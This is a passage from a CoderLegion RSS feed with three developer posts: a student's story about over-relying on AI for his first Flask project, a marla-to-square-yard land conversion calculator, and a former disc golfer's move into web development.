<link>https://coderlegion.com/26822/my-developer-journey-so-far-wrong-turns-real-lessons-elias-songs-story</link>
<description>&lt;h2 id=&quot;my-developer-journey-so-far-wrong-turns-real-lessons-elias-song-s-story&quot;&gt;My Developer Journey So Far: Wrong Turns, Real Lessons — Elias Song’s Story&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;A CoderLegion Developer Story featuring &lt;a rel=&quot;nofollow&quot; href=&quot;https://coderlegion.com/user/elysianx&quot;&gt;Elias Song&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Written by Elias Song&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edited by Mehadi Hasan, Community &amp;amp; Editorial Team at CoderLegion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you ask me what has stayed with me most since I started programming, I can give you one answer:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The first time I saw &quot;Hello World&quot; appear in the terminal.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It wasn't an impressive program.&lt;/p&gt;
&lt;p&gt;It wasn't a groundbreaking project.&lt;/p&gt;
&lt;p&gt;But there was something about seeing those words appear on the screen that made programming feel real.&lt;/p&gt;
&lt;p&gt;Since then, my journey has included ambitious ideas, wrong turns, an embarrassing competition experience, learning with AI, moments of self-doubt, and eventually a much simpler realization:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I don't want to learn technology just to impress people. I want to understand it because I genuinely love it.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is my developer journey so far.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;my-first-step-into-programming&quot;&gt;My First Step Into Programming&lt;/h3&gt;
&lt;p&gt;When I entered university, I chose Computer Science.&lt;/p&gt;
&lt;p&gt;That was my first real introduction to programming.&lt;/p&gt;
&lt;p&gt;During my freshman year, I had an idea for a product that I couldn't stop thinking about.&lt;/p&gt;
&lt;p&gt;I spent a lot of time searching for useful school resources and trying to figure out whether different materials were actually what I needed.&lt;/p&gt;
&lt;p&gt;Eventually, I thought:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why not build a website that brings all these resources together?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The idea was to create a platform where students could find school resources and classwork in one place.&lt;/p&gt;
&lt;p&gt;Students could share useful materials.&lt;/p&gt;
&lt;p&gt;They could record information in built-in notes.&lt;/p&gt;
&lt;p&gt;Those notes could be printed locally.&lt;/p&gt;
&lt;p&gt;And I even imagined an AI feature that could summarize the information.&lt;/p&gt;
&lt;p&gt;Most importantly, I wanted the website to be free and simple.&lt;/p&gt;
&lt;p&gt;No email.&lt;/p&gt;
&lt;p&gt;No phone number.&lt;/p&gt;
&lt;p&gt;Just search for what you need, save it, and print it locally.&lt;/p&gt;
&lt;p&gt;The idea kept coming back to me.&lt;/p&gt;
&lt;p&gt;So eventually I thought:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&quot;Just give it a try.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;There was only one problem.&lt;/p&gt;
&lt;p&gt;I was a beginner.&lt;/p&gt;
&lt;p&gt;And I had no idea what technology stack I should choose.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;choosing-my-first-stack&quot;&gt;Choosing My First Stack&lt;/h3&gt;
&lt;p&gt;After considering my options, I chose Python and Flask.&lt;/p&gt;
&lt;p&gt;They seemed approachable, and I thought they would allow me to get a website running quickly.&lt;/p&gt;
&lt;p&gt;Then reality arrived.&lt;/p&gt;
&lt;p&gt;There were errors.&lt;/p&gt;
&lt;p&gt;There were bugs.&lt;/p&gt;
&lt;p&gt;There were things I didn't understand.&lt;/p&gt;
&lt;p&gt;I spent a lot of time debugging.&lt;/p&gt;
&lt;p&gt;But there was another important detail about this project.&lt;/p&gt;
&lt;p&gt;Around 90% of it was done with the help of AI.&lt;/p&gt;
&lt;p&gt;At the time, I had a very strong desire to finish the project quickly.&lt;/p&gt;
&lt;p&gt;I thought I needed to get it working, put it online, and show it to people.&lt;/p&gt;
&lt;p&gt;I imagined my friends seeing the website and being impressed.&lt;/p&gt;
&lt;p&gt;Eventually, the website went live on the public internet.&lt;/p&gt;
&lt;p&gt;I was incredibly excited.&lt;/p&gt;
&lt;p&gt;I told my friends.&lt;/p&gt;
&lt;p&gt;I told my parents.&lt;/p&gt;
&lt;p&gt;It was online.&lt;/p&gt;
&lt;p&gt;I had built something.&lt;/p&gt;
&lt;p&gt;Or at least, that's what I thought.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;then-nobody-came&quot;&gt;Then Nobody Came&lt;/h3&gt;
&lt;p&gt;The website was live.&lt;/p&gt;
&lt;p&gt;The visitor counter was ready.&lt;/p&gt;
&lt;p&gt;And then...&lt;/p&gt;
&lt;p&gt;Nothing happened.&lt;/p&gt;
&lt;p&gt;The counter didn't move.&lt;/p&gt;
&lt;p&gt;Day after day, there were almost no visitors.&lt;/p&gt;
&lt;p&gt;I started looking for ways to get people to notice it.&lt;/p&gt;
&lt;p&gt;I entered competitions.&lt;/p&gt;
&lt;p&gt;My friends helped me promote the website.&lt;/p&gt;
&lt;p&gt;We worked on polishing the project.&lt;/p&gt;
&lt;p&gt;One friend helped with promotion through social media.&lt;/p&gt;
&lt;p&gt;Another helped create a feedback form.&lt;/p&gt;
&lt;p&gt;I still remember how much effort they put into helping me.&lt;/p&gt;
&lt;p&gt;I imagined standing in front of the judges and confidently explaining the technology behind my project.&lt;/p&gt;
&lt;p&gt;Then the competition day arrived.&lt;/p&gt;
&lt;p&gt;And everything changed.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;-do-you-have-a-database-&quot;&gt;&quot;Do You Have a Database?&quot;&lt;/h3&gt;
&lt;p&gt;I stood in front of the judges with a friend and started introducing our website.&lt;/p&gt;
&lt;p&gt;Then one judge interrupted us.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&quot;Stop! I have a question!&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;They asked:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&quot;Do you have a database?&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Then:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&quot;How did you upload all these resources and assignments to the website?&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I froze.&lt;/p&gt;
&lt;p&gt;Database?&lt;/p&gt;
&lt;p&gt;Of course we had one.&lt;/p&gt;
&lt;p&gt;There was a SQLite database sitting on the server.&lt;/p&gt;
&lt;p&gt;But I couldn't explain it properly.&lt;/p&gt;
&lt;p&gt;The judge kept asking how we had uploaded the resources.&lt;/p&gt;
&lt;p&gt;I said we used a script.&lt;/p&gt;
&lt;p&gt;Then they asked how the script worked.&lt;/p&gt;
&lt;p&gt;And eventually I admitted:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&quot;We used AI to help write the scripts.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That was one of the most embarrassing moments of my programming journey.&lt;/p&gt;
&lt;p&gt;The worst part wasn't that the project had problems.&lt;/p&gt;
&lt;p&gt;The worst part was that &lt;strong&gt;I couldn't explain what I had built.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;the-project-looked-better-than-i-understood-it&quot;&gt;The Project Looked Better Than I Understood It&lt;/h3&gt;
&lt;p&gt;Looking back, the problem was obvious.&lt;/p&gt;
&lt;p&gt;I had been focused on finishing.&lt;/p&gt;
&lt;p&gt;I wanted features.&lt;/p&gt;
&lt;p&gt;I wanted the project to look impressive.&lt;/p&gt;
&lt;p&gt;I wanted people to see what I had built.&lt;/p&gt;
&lt;p&gt;But I hadn't spent enough time understanding the foundation underneath it.&lt;/p&gt;
&lt;p&gt;There was no proper concurrency handling.&lt;/p&gt;
&lt;p&gt;There was no defensive programming.&lt;/p&gt;
&lt;p&gt;There was no meaningful logging.&lt;/p&gt;
&lt;p&gt;It was essentially basic CRUD.&lt;/p&gt;
&lt;p&gt;And although I had a database, I didn't even know how to confidently explain it when someone asked me about it.&lt;/p&gt;
&lt;p&gt;I had focused on building something that looked like a product.&lt;/p&gt;
&lt;p&gt;I hadn't focused enough on becoming the person who understood the product.&lt;/p&gt;
&lt;p&gt;That competition taught me a lesson that no tutorial could have taught me.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;If you can't explain what you built, you don't really own it yet.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;when-failure-started-feeling-personal&quot;&gt;When Failure Started Feeling Personal&lt;/h3&gt;
&lt;p&gt;After the competition, I felt terrible.&lt;/p&gt;
&lt;p&gt;It wasn't just disappointment in the project.&lt;/p&gt;
&lt;p&gt;I started comparing myself with everyone around me.&lt;/p&gt;
&lt;p&gt;Other students had good grades.&lt;/p&gt;
&lt;p&gt;Some had club memberships.&lt;/p&gt;
&lt;p&gt;Some had laboratory positions.&lt;/p&gt;
&lt;p&gt;Others had competition medals.&lt;/p&gt;
&lt;p&gt;I didn't have those things.&lt;/p&gt;
&lt;p&gt;At home, the people who cared about me tried to guide me toward what they believed was the safer path.&lt;/p&gt;
&lt;p&gt;Study hard.&lt;/p&gt;
&lt;p&gt;Get a stable job.&lt;/p&gt;
&lt;p&gt;Build a standard life.&lt;/p&gt;
&lt;p&gt;Follow the path everyone understands.&lt;/p&gt;
&lt;p&gt;And for a while, I questioned myself.&lt;/p&gt;
&lt;p&gt;Maybe they were right.&lt;/p&gt;
&lt;p&gt;Maybe I was wasting my time.&lt;/p&gt;
&lt;p&gt;Maybe I should stop.&lt;/p&gt;
&lt;p&gt;But eventually I came to a different conclusion.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;I'd rather fail on my own path than succeed on someone else's.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That became an important turning point for me.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;stopping-the-chase-for-applause&quot;&gt;Stopping the Chase for Applause&lt;/h3&gt;
&lt;p&gt;Slowly, I stopped trying to prove myself.&lt;/p&gt;
&lt;p&gt;Instead, I started documenting what I was learning.&lt;/p&gt;
&lt;p&gt;I wrote about what I was studying.&lt;/p&gt;
&lt;p&gt;I wrote about things I got wrong.&lt;/p&gt;
&lt;p&gt;I wrote about things that confused me.&lt;/p&gt;
&lt;p&gt;I wrote essays for people I had never met.&lt;/p&gt;
&lt;p&gt;Before publishing something, I was always afraid that nobody would read it.&lt;/p&gt;
&lt;p&gt;But people did.&lt;/p&gt;
&lt;p&gt;Not necessarily thousands of people.&lt;/p&gt;
&lt;p&gt;Sometimes just a few.&lt;/p&gt;
&lt;p&gt;But they were real people.&lt;/p&gt;
&lt;p&gt;And that mattered more than I expected.&lt;/p&gt;
&lt;p&gt;I started realizing that learning didn't have to be a performance.&lt;/p&gt;
&lt;p&gt;I could simply learn something because I wanted to understand it.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;rediscovering-why-i-love-programming&quot;&gt;Rediscovering Why I Love Programming&lt;/h3&gt;
&lt;p&gt;One afternoon, I was sitting quietly in a library.&lt;/p&gt;
&lt;p&gt;I opened my laptop and started writing some code.&lt;/p&gt;
&lt;p&gt;There was no deadline.&lt;/p&gt;
&lt;p&gt;No competition.&lt;/p&gt;
&lt;p&gt;No audience.&lt;/p&gt;
&lt;p&gt;No requirement to build a product.&lt;/p&gt;
&lt;p&gt;No one was going to judge me.&lt;/p&gt;
&lt;p&gt;I was just writing code.&lt;/p&gt;
&lt;p&gt;I still don't completely know why I started writing that code that day.&lt;/p&gt;
&lt;p&gt;But I know why I write now.&lt;/p&gt;
&lt;p&gt;It reminded me of the first time I saw &quot;Hello World&quot; in the terminal.&lt;/p&gt;
&lt;p&gt;Nothing impressive.&lt;/p&gt;
&lt;p&gt;Nothing complicated.&lt;/p&gt;
&lt;p&gt;And yet somehow meaningful.&lt;/p&gt;
&lt;p&gt;That was when I started to understand that I genuinely enjoy technology.&lt;/p&gt;
&lt;p&gt;Not just the recognition that can come from building something.&lt;/p&gt;
&lt;p&gt;Not just the feeling of having a finished product.&lt;/p&gt;
&lt;p&gt;The technology itself.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;finding-a-community&quot;&gt;Finding a Community&lt;/h3&gt;
&lt;p&gt;Eventually, I started sharing my essays on a developer community called &lt;strong&gt;CoderLegion&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;That gave me an opportunity to learn in public and interact with other developers.&lt;/p&gt;
&lt;p&gt;Not everyone agreed with me.&lt;/p&gt;
&lt;p&gt;And surprisingly, I started enjoying that.&lt;/p&gt;
&lt;p&gt;I remember having a discussion with someone about &lt;strong&gt;raw pointers versus smart pointers&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;We had different opinions.&lt;/p&gt;
&lt;p&gt;But it didn't feel like an attack.&lt;/p&gt;
&lt;p&gt;It felt like two people who genuinely loved technology looking at the same problem from different directions.&lt;/p&gt;
&lt;p&gt;That experience changed the way I thought about developer communities.&lt;/p&gt;
&lt;p&gt;A disagreement doesn't necessarily mean someone is against you.&lt;/p&gt;
&lt;p&gt;Sometimes it simply means they have a different perspective.&lt;/p&gt;
&lt;p&gt;And that can be valuable.&lt;/p&gt;
&lt;p&gt;For me, that was one of the purest experiences I've had with technology.&lt;/p&gt;
&lt;p&gt;It wasn't about winning.&lt;/p&gt;
&lt;p&gt;It was about thinking.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;what-i-learned-from-getting-it-wrong&quot;&gt;What I Learned From Getting It Wrong&lt;/h3&gt;
&lt;p&gt;My first major project taught me something that I probably wouldn't have learned if everything had gone perfectly.&lt;/p&gt;
&lt;p&gt;Building quickly isn't the same as understanding.&lt;/p&gt;
&lt;p&gt;Using AI isn't the same as knowing how something works.&lt;/p&gt;
&lt;p&gt;Getting something online isn't the same as building something well.&lt;/p&gt;
&lt;p&gt;And receiving applause isn't the same as making progress.&lt;/p&gt;
&lt;p&gt;AI was incredibly useful in helping me build that first project.&lt;/p&gt;
&lt;p&gt;But I learned that the more important skill is being able to understand, question, debug, and explain what AI helps you create.&lt;/p&gt;
&lt;p&gt;That lesson continues to influence how I learn today.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;learning-in-public&quot;&gt;Learning in Public&lt;/h3&gt;
&lt;p&gt;Writing has become part of my learning process.&lt;/p&gt;
&lt;p&gt;When I write about something, I have to organize my thoughts.&lt;/p&gt;
&lt;p&gt;When someone disagrees with me, I have to reconsider my assumptions.&lt;/p&gt;
&lt;p&gt;When someone asks a question I can't answer, I have something new to learn.&lt;/p&gt;
&lt;p&gt;That's why I don't see writing as separate from programming.&lt;/p&gt;
&lt;p&gt;For me, documenting my learning is part of learning itself.&lt;/p&gt;
&lt;p&gt;My CoderLegion profile reflects much of what I'm currently interested in: Python, C++, backend development, AI, and learning.&lt;/p&gt;
&lt;p&gt;I've also been writing about C++ topics such as smart pointers, STL, raw pointers, and the mistakes I've encountered while learning.&lt;/p&gt;
&lt;p&gt;I'm still learning.&lt;/p&gt;
&lt;p&gt;And I think that's an important part of my story.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;i-m-still-a-beginner-in-many-ways&quot;&gt;I'm Still a Beginner in Many Ways&lt;/h3&gt;
&lt;p&gt;I haven't seen much of the world yet.&lt;/p&gt;
&lt;p&gt;There are still many technologies I don't understand.&lt;/p&gt;
&lt;p&gt;There are still problems I don't know how to solve.&lt;/p&gt;
&lt;p&gt;I'm currently exploring areas such as machine learning and deep learning, while continuing to build my foundations in programming and backend development.&lt;/p&gt;
&lt;p&gt;My journey is nowhere near finished.&lt;/p&gt;
&lt;p&gt;Maybe that's the point.&lt;/p&gt;
&lt;p&gt;I don't need to pretend that I've already figured everything out.&lt;/p&gt;
&lt;p&gt;I just need to keep moving.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;the-meaning-behind-an-old-saying&quot;&gt;The Meaning Behind an Old Saying&lt;/h3&gt;
&lt;p&gt;There is an old saying from my country:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;花有重开日，人无再少年&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It can be roughly understood as:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Flowers may bloom again, but youth never returns.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I don't take that as a warning to hurry.&lt;/p&gt;
&lt;p&gt;I take it as a reminder.&lt;/p&gt;
&lt;p&gt;These years come only once.&lt;/p&gt;
&lt;p&gt;So direction matters more than speed.&lt;/p&gt;
&lt;p&gt;I don't need to rush toward someone else's definition of success.&lt;/p&gt;
&lt;p&gt;I need to make sure I'm spending these years moving toward something I genuinely care about.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;if-you-re-a-university-student-too&quot;&gt;If You're a University Student Too&lt;/h3&gt;
&lt;p&gt;If you're also a university student, especially someone who feels behind other people, I hope you don't give up on your own path simply because someone else's path looks better.&lt;/p&gt;
&lt;p&gt;You might not have the best grades.&lt;/p&gt;
&lt;p&gt;You might not have the most impressive portfolio.&lt;/p&gt;
&lt;p&gt;You might not win every competition.&lt;/p&gt;
&lt;p&gt;You might build something with AI and later realize you don't understand it as well as you should.&lt;/p&gt;
&lt;p&gt;You might fail.&lt;/p&gt;
&lt;p&gt;I certainly have.&lt;/p&gt;
&lt;p&gt;But failure doesn't have to be the end of the journey.&lt;/p&gt;
&lt;p&gt;Sometimes it's the moment that forces you to ask what you actually want.&lt;/p&gt;
&lt;p&gt;And sometimes that's more valuable than winning.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;i-m-choosing-my-own-path&quot;&gt;I'm Choosing My Own Path&lt;/h3&gt;
&lt;p&gt;When I look back at my first project, I don't feel proud of everything I did.&lt;/p&gt;
&lt;p&gt;I made mistakes.&lt;/p&gt;
&lt;p&gt;I relied too heavily on AI.&lt;/p&gt;
&lt;p&gt;I cared too much about finishing quickly.&lt;/p&gt;
&lt;p&gt;I built features without understanding the fundamentals deeply enough.&lt;/p&gt;
&lt;p&gt;And I couldn't explain my own project when someone challenged me.&lt;/p&gt;
&lt;p&gt;But I'm also glad it happened.&lt;/p&gt;
&lt;p&gt;Because that failure forced me to slow down.&lt;/p&gt;
&lt;p&gt;It pushed me toward learning instead of applause.&lt;/p&gt;
&lt;p&gt;It encouraged me to document my journey.&lt;/p&gt;
&lt;p&gt;It introduced me to people who see technology differently.&lt;/p&gt;
&lt;p&gt;And it helped me understand why I actually enjoy programming.&lt;/p&gt;
&lt;p&gt;I'm still learning.&lt;/p&gt;
&lt;p&gt;I'm still making mistakes.&lt;/p&gt;
&lt;p&gt;I'm still figuring things out.&lt;/p&gt;
&lt;p&gt;But now, I'm spending my time on the path I chose.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;I'd rather fail on my own path than succeed on someone else's.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And for now, that's enough.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;about-elias-song&quot;&gt;About Elias Song&lt;/h3&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://coderlegion.com/user/elysianx&quot;&gt;Elias Song&lt;/a&gt;, known as &lt;strong&gt;@elysianx&lt;/strong&gt; on CoderLegion, is a tech explorer documenting their programming journey.&lt;/p&gt;
&lt;p&gt;Based in Hong Kong, Elias is exploring &lt;strong&gt;Python, C++, backend development, and AI&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Their technical interests include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Python&lt;/li&gt;
&lt;li&gt;C++&lt;/li&gt;
&lt;li&gt;FastAPI&lt;/li&gt;
&lt;li&gt;Flask&lt;/li&gt;
&lt;li&gt;Redis&lt;/li&gt;
&lt;li&gt;Docker&lt;/li&gt;
&lt;li&gt;Linux&lt;/li&gt;
&lt;li&gt;LangChain&lt;/li&gt;
&lt;li&gt;Git&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;They are currently exploring &lt;strong&gt;machine learning and deep learning&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Elias also writes about their experiences learning C++, including smart pointers, STL, raw pointers, and the mistakes and lessons they encounter along the way.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;View Elias Song's full CoderLegion profile:&lt;/strong&gt;&lt;br&gt;
&lt;a rel=&quot;nofollow&quot; href=&quot;https://coderlegion.com/user/elysianx&quot;&gt;https://coderlegion.com/user/elysianx&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;about-this-developer-story&quot;&gt;About This Developer Story&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Developer:&lt;/strong&gt; Elias Song (@elysianx)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Series:&lt;/strong&gt; CoderLegion Developer Stories&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Written by:&lt;/strong&gt; Elias Song&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edited by:&lt;/strong&gt; Mehadi Hasan, Community &amp;amp; Editorial Team, CoderLegion&lt;/p&gt;
&lt;p&gt;This Developer Story is based on Elias Song's personal experience learning programming, building their first project, facing failure, discovering the value of learning for themselves, and finding a stronger connection with technology through writing and community.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/26822/my-developer-journey-so-far-wrong-turns-real-lessons-elias-songs-story</guid>
<pubDate>Fri, 11 Sep 2026 09:36:45 +0000</pubDate>
</item>
<item>
<title>Marla to Gaj (Square Yard) Conversion: A Simple Tool I Built for My Local Marketplace</title>
<link>https://coderlegion.com/26758/marla-to-gaj-square-yard-conversion-a-simple-tool-i-built-for-my-local-marketplace</link>
<description>&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/4cmnihzdewqqoj1sxfu7.jpg&quot; alt=&quot;Image description&quot;&gt;If you've ever bought or sold property in Pakistan, you've run into this problem: land size gets quoted in &lt;strong&gt;marla&lt;/strong&gt;, &lt;strong&gt;kanal&lt;/strong&gt;, &lt;strong&gt;square feet&lt;/strong&gt;, or &lt;strong&gt;gaj (square yards)&lt;/strong&gt; — often interchangeably, depending on who you're talking to. A property dealer might tell you a plot is &quot;5 marla,&quot; while the registry documents list it in square yards, and a buyer coming from a different city might only think in gaj.&lt;/p&gt;
&lt;p&gt;That mismatch causes real confusion — and sometimes real money lost — during property deals.&lt;/p&gt;
&lt;p&gt;So when I was building &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://connect-bazaar.com/&quot;&gt;Connect Bazaar&lt;/a&gt;&lt;/strong&gt;, a local marketplace and services platform for Pirpiai and Nowshera, I added a simple &lt;strong&gt;Marla to Gaj calculator&lt;/strong&gt; as part of a broader Property &amp;amp; Land tools section.&lt;/p&gt;
&lt;p&gt;Here's the conversion logic, and why a dedicated tool beats just Googling the number.&lt;/p&gt;
&lt;h3 id=&quot;the-basic-conversion&quot;&gt;The Basic Conversion&lt;/h3&gt;
&lt;p&gt;In most of Pakistan, the standard conversion used is:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Unit &lt;/th&gt;&lt;th&gt;Equals&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;1 Marla &lt;/td&gt;&lt;td&gt;≈ 30.25 square yards (gaj)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;1 Kanal (20 Marla) &lt;/td&gt;&lt;td&gt;≈ 605 square yards (gaj)&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Marla → Gaj&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Gaj = Marla × 30.25
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Gaj → Marla&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Marla = Gaj ÷ 30.25
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Simple math — the friction isn't the formula, it's that nobody wants to redo it manually every time, especially when comparing several plots or double-checking what a dealer just quoted.&lt;/p&gt;
&lt;h3 id=&quot;why-a-dedicated-calculator-actually-helps&quot;&gt;Why a Dedicated Calculator Actually Helps&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Speeds up real decisions.&lt;/strong&gt; Comparing 3–4 plots quoted in different units? Converting everything to one unit makes the comparison honest and fast.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reduces reliance on the dealer's math.&lt;/strong&gt; Buyers can independently verify what they're being told — which matters a lot in informal or semi-formal property markets.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;One less spreadsheet.&lt;/strong&gt; A shared, always-available tool replaces everyone's personal napkin-math formula.&lt;h3 id=&quot;how-it-fits-into-connect-bazaar&quot;&gt;How It Fits Into Connect Bazaar&lt;/h3&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The calculator lives inside the &lt;strong&gt;Property &amp;amp; Land&lt;/strong&gt; tools category, alongside other land conversion tools (marla, kanal, square feet, plot area). It's built mobile-first, since most users check it standing on-site at a plot or mid-conversation with a dealer — not sitting at a desk.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt; Try it here: &lt;a rel=&quot;nofollow&quot; href=&quot;https://connect-bazaar.com/tools/property/&quot;&gt;Property &amp;amp; Land Tools on Connect Bazaar&lt;/a&gt;&lt;/strong&gt; &lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;If you're building something similar — a local utility site, a regional marketplace, or any tool involving unit conversions people rely on for real transactions — I'd love to compare notes in the comments. &lt;/p&gt;
&lt;p&gt;&lt;em&gt;What conversion or utility tools have you found genuinely useful (not just &quot;nice to have&quot;) on a niche or local website?&lt;/em&gt; &lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/26758/marla-to-gaj-square-yard-conversion-a-simple-tool-i-built-for-my-local-marketplace</guid>
<pubDate>Thu, 10 Sep 2026 18:45:17 +0000</pubDate>
</item>
<item>
<title>From Pro Disc Golf to Code: My Journey to Become a Full-Stack Developer</title>
<link>https://coderlegion.com/26756/from-pro-disc-golf-to-code-my-journey-to-become-a-full-stack-developer</link>
<description>&lt;p&gt;A year ago I was walking new construction homes as a field manager. I managed the installation of tile wood and carpet in new construction homes. It’s served my family and I well, and put me in situations of self growth I would have never gotten otherwise. But I hit a wall and upward mobility was stagnant. Before I was a field manager I was a professional disc golfer. It was always an adventure, I got to tour the country playing tournaments and teaching clinics. That era instilled in me a deep understanding of planning, discipline, and the power of creating systems to excel.&lt;/p&gt;
&lt;p&gt;Current day… I am obsessed with coding. My mind is always buzzing with what I am currently learning, and what technical puzzle I am solving at the time. This passion ignited on a whim last year. I was sent a link to web development coding bootcamp from a family friend. In a whirlwind I called my amazingly supportive wife, and within 20 minutes I was enrolled in the bootcamp. Class started that same day. I had a buzzing in my body, that had me excited and scared all at the same time. &lt;/p&gt;
&lt;p&gt;The challenges, the creativity, and the complex problem-solving drove me to fall deep into coding. This post marks the beginning of me sharing my journey. From fairway to construction site to becoming a full stack developer. &lt;/p&gt;
&lt;p&gt;Graduating bootcamp last June, the pressure to secure a job intensified with our first child due in February. Despite relentless effort, not a single interview materialized between June and August. Providing for my family meant &quot;biting the bullet&quot; and returning to construction. It felt like taking a quadruple bogey on the tournament's final hole, but just like in disc golf, mental resilience became key. I pivoted. I recognized my skills weren't &quot;up to snuff,&quot; especially with AI raising the industry bar. My love for coding made the decision clear: Rise and grind.&lt;/p&gt;
&lt;p&gt;That &quot;quadruple bogey&quot; taught me not to let one bad hole ruin the entire round. I went back into the lab and re-evaluated my coding habits and systems, realizing there was immense room for improvement. The &quot;get rich quick&quot; mentality wasn't working. My focus shifted to a long-term, sustainable journey of growth.&lt;/p&gt;
&lt;p&gt;One year into this revised plan, I'm already seeing progress. I'm currently interning, building the syllabus website for the very bootcamp I attended – a full-circle moment. This valuable experience, coupled with freelance work and my dedicated side project, is where I'm gaining real-world skills. My current side project, a Disc Golf Course and Round Tracker, directly reinforces my internship learnings in PHP and SQL, allowing me to immediately apply and practice what I'm currently using.&lt;/p&gt;
&lt;p&gt;While PHP and SQL aren't my primary languages, this hands-on experience has been truly eye-opening, revealing just how much React streamlines development under the hood. Building reusable OOP components in PHP has definitely made me itch to return to React's ecosystem! Once this internship concludes, my focus shifts to an even bigger project I'm eager to tackle: a MERN stack application.&lt;/p&gt;
&lt;p&gt;The road from professional disc golf and construction management to becoming a full-stack developer is proving to be a true test of grit and adaptability. It's a journey I'm embracing fully, learning new languages and paradigms with every step. I'm committed to building a solid portfolio and making this career transition a success. Through this blog, I aim to share the raw, unfiltered experience the “aces” and the &quot;bogeys&quot;  if you will. I hope to connect with others on a similar path. Join me as I continue to build, learn, and grow in the world of web development.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/26756/from-pro-disc-golf-to-code-my-journey-to-become-a-full-stack-developer</guid>
<pubDate>Thu, 10 Sep 2026 17:47:47 +0000</pubDate>
</item>
<item>
<title>The AI Era: Democratizing the Ivory Tower and Reclaiming the Latin American Mind</title>
